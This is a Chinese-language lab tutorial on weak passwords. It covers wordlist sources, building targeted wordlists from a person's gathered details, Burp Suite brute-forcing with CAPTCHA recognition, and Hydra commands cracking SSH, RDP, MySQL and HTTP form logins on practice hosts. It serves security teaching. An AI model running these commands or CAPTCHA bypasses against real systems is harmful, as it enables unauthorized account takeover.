目录
一、弱口令含义
1、什么是弱口令
弱的⼝令是指容易被猜测到的⽤户、密码(123,admin,abc)等。
bash
user
liudeli
123456
admin
abcdef
11111
123
321
... 省略 ...
2、弱口令产生的原因
弱⼝令的来源有两个原因:
- 人员密码安全意识薄弱,存在疏忽大意行为,为便于记忆,在多平台使用简单密码或重复密码。
- 部分管理平台沿用初始默认密码,未及时进行修改更换。
二、运行环境
(1)目标主机1
| 名称 | 值 |
|---|---|
| 操作系统 | Windows server 2003 |
| 中间件 | PHP5.5.38 + Apache2.4 |
| 数据库 | MySQL 5.6 |
(2)目标主机2
| 名称 | 值 |
|---|---|
| 操作系统 | Ubuntu Server 16 |
| 是否存在SSH | 是 |
(3)攻击机
| 名称 | 值 |
|---|---|
| 操作系统 | Kali Linux 2023.4 |
三、密码爆破实践
1、爆破字典
(1)为何需要字典?
无需手动逐个尝试破解弱口令,不仅费时费力、效率极低,逐一试猜也得不偿失;可直接采用工具爆破方式。通用模式适配各类场景与使用人群,依托大众化字典匹配即可实现全覆盖检测,简便高效。
(2)通用模式
通用模式就是根据人的通性,生成的口令字典,获取方式简单,数量众多
① 常见密码
收录常见的密码,有各自不同的类型,是否破解出来完全看运气。
bash
# 下载SecLists⽂件夹
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists/blob/master/Passwords/500-worstpasswords.txt
如果发现Github无法访问,则需要在本地计算机配置hosts文件。
Windows下的hosts文件路径:
bash
# 需要Administrator权限下打开记事本或其它文本编辑工具
C:\Windows\System32\drivers\etc\hosts
Linux下的hosts文件路径:
bash
# 需要root权限或支持sudo操作的用户
/etc/hosts
在hosts文件中新增Github相关的域名和IP:
bash
140.82.113.3 github.com
140.82.112.5 api.github.com
185.199.108.133 raw.githubusercontent.com
185.199.109.133 raw.githubusercontent.com
185.199.110.133 raw.githubusercontent.com
185.199.111.133 raw.githubusercontent.com
140.82.114.6 github.global.ssl.fastly.net
② 默认密码
不同平台也会公开相关的默认密码,需自行下载或寻找
bash
https://github.com/hetianlab/DefaultCreds-cheat-sheet
(3)定制模式
① 概念
根据网络搜索关于某人的特定信息生成的定制字典(其他平台的密码,邮箱,qq,电话,生日等)。
例如:
bash
klimov/klimov0524
klimov/klimov1995
klimov/klimov1922661
...
1593...@qq.com/klimov1995
1593...@qq.com/klimov1922661
定制模式需结合个人与公司相关信息构建,难度更高,且依赖前期信息收集工作;将通用模式与定制模式相结合,即可生成合规有效的弱口令字典。
② 收集信息后定制
bash
fofa:https://fofa.info/
或
搜索引擎 收集得到的信息
③ 给定制模式生成字典
下载weakpass-main:
bash
https://github.com/zzzteph/weakpass
2、BP基础爆破
(1)部署地址:
bash
C:\phpStudy\WWW\wz
(2)导入数据库
说明:数据库的SQL文件位于wz靶场内。并导入bank和game数据库。
(3)访问地址为
bash
http://192.168.179.144:90/wz

(4)开始爆破
Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理
Step2:输入用户和密码,点击登录

Step3:右击选择"Send Intruder"

Step4 :配置BP爆破
现在知道用户名是admin,但不知道密码;配置payloads添加爆破字典(SecLists-master\Passwords)

Step5:爆破成功

3、BP验证码爆破
(1)启动验识别服务(不截包)
Step1 :打开NEW_xp_CAPTCHA服务

Step2:浏览服务是否正常
bash
http://127.0.0.1:8899

(2)在BP中添加插件
Step1 :在BP中,添加python解析器

Step2 :添加BP拓展插件


(3)部署海洋靶场
Step1:部署位置
bash
C:\phpStudy\WWW\ocean
Step2:访问安装地址
bash
http://192.168.179.144:90/ocean/install/index.php
勾选同意后,点继续。

Step3 :只要没报错,就点继续。

Step4 :配置好相关信息后,点确认安装。
Step5:安装成功
页面中的访问地址不能照搬,而是要注意端口号及部署目录的调整!

Step6:访问后台管理地址
bash
http://192.168.179.144:90/ocean/0v0srz/login.php?gotopage=%2Focean%2F0v0srz%2F

(4)使⽤BP爆破(截包)
Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理
Step2 :输入用户和密码后,复制验证码地址,并点登录

Step3:右击选择"Send Intruder"

Step4 :为密码 和 验证码 都添加"Add %$"

被选择的密码被显示为:123
被选中的验证码被显示为:GFBN
Step5 :为密码设置密码本

Step6 :为验证码设置插件

Step7 :配置资源池,为爆破作准备

Step8:添加一个验证码地址在BP中

添加一个瞎跑:
bash
xiapao: http://192.168.179.144:90/ocean/include/vdimgck.php
备注:xiapao不可随意修改,这是在xp_CAPTCHA.py脚本中已经定义好的。


点 Start attack 开始爆破
Step8 :查看结果

从图中结果可以看出,利用BP实现密码和验证码的爆破,已成功登录了系统。
4、九头蛇(hydra)爆破SSH
(1)说明
Hydra 是知名组织 THC 推出的开源密码暴力破解工具,功能强大,Kali 系统默认预装,支持几乎所有协议的在线密码破解。
可用于爆破 SSH、RDP 远程桌面、MySQL 数据库等登录密码;破解成功率取决于字典强度与设备硬件性能。
hydra的参数说明:
bash
-l login ⼩写,指定⽤户名进⾏破解
-L file ⼤写,指定⽤户的⽤户名字典
-p pass ⼩写,⽤于指定密码破解,很少使⽤,⼀般采⽤密码字典。
-P file ⼤写,⽤于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使⽤指定账户和密码试探
-M file 指定⽬标ip列表⽂件,批量破解。
-o file 指定结果输出⽂件
-f 找到第⼀对登录名或者密码的时候中⽌破解。
-t tasks 同时运⾏的线程数,默认是16
-w time 设置最⼤超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执⾏ hydra -R /path/to/hydra.restore 就可以继续任务。)
-x ⾃定义密码。
(2)多用户处理
此命令为用户名和密码同时进行的SSH暴力破解。
bash
$ hydra -L /home/kali/username.txt -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV
命令解释:
- hydra
作用:启动 Hydra 暴力破解工具
用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等) - -L /home/kali/username.txt
-L= 指定多个用户名的文本文件 - -P /usr/share/wordlists/rockyou.txt.gz
-P = 指定密码字典文件
字典路径:/usr/share/wordlists/rockyou.txt.gz
这是 Kali 自带的 超大型常用密码字典(最经典)
.gz 是压缩包,Hydra 可以直接读取 - ssh://192.168.179.131
指定目标服务 + IP
ssh:// = 爆破 SSH 服务
192.168.179.131 = 目标服务器 IP - -t 16
-t = 设置线程数(并发数)
这里是 16 线程同时爆破
数字越大,破解越快,但容易被封 - -vV
-v = 显示详细过程
-V = 显示每一次尝试的用户名 + 密码
合起来就是:显示完整爆破日志(看得见每一次试密码)
(3)单用户处理
此命令为已知用户名的情况下对SSH进行暴力破解。
bash
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV
命令解释:
- hydra
作用:启动 Hydra 暴力破解工具
用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等) - -l jan
-l = 指定单个用户名
这里用户名是:jan
意思:只爆破用户 jan 的密码 - -P /usr/share/wordlists/rockyou.txt.gz
-P = 指定密码字典文件
字典路径:/usr/share/wordlists/rockyou.txt.gz
这是 Kali 自带的 超大型常用密码字典(最经典)
.gz 是压缩包,Hydra 可以直接读取 - ssh://192.168.179.131
指定目标服务 + IP
ssh:// = 爆破 SSH 服务
192.168.179.131 = 目标服务器 IP - -t 16
-t = 设置线程数(并发数)
这里是 16 线程同时爆破
数字越大,破解越快,但容易被封 - -vV
-v = 显示详细过程
-V = 显示每一次尝试的用户名 + 密码
合起来就是:显示完整爆破日志(看得见每一次试密码)
运行效果 :

破解后得到的结果如下:
bash
用户名:jan
密码为:armando
5、九头蛇(hydra)爆破Window登录密码(rdp远程)
bash
$ hydra -l administrator -P password.txt -t 3 -e ns 192.168.179.144 rdp
6、九头蛇(hydra)爆破mysql登录密码
bash
$ hydra -l root -P password.txt -t 3 -e ns 192.168.179.144 mysql
7、九头蛇(hydra)爆破HTTP请求
bash
hydra -t 3 -l luojie -P password.txt -s 80 192.168.179.144 http-get-form "/wz/login.php:user=^USER^&pass=^PASS^:⽤户名或密码错误"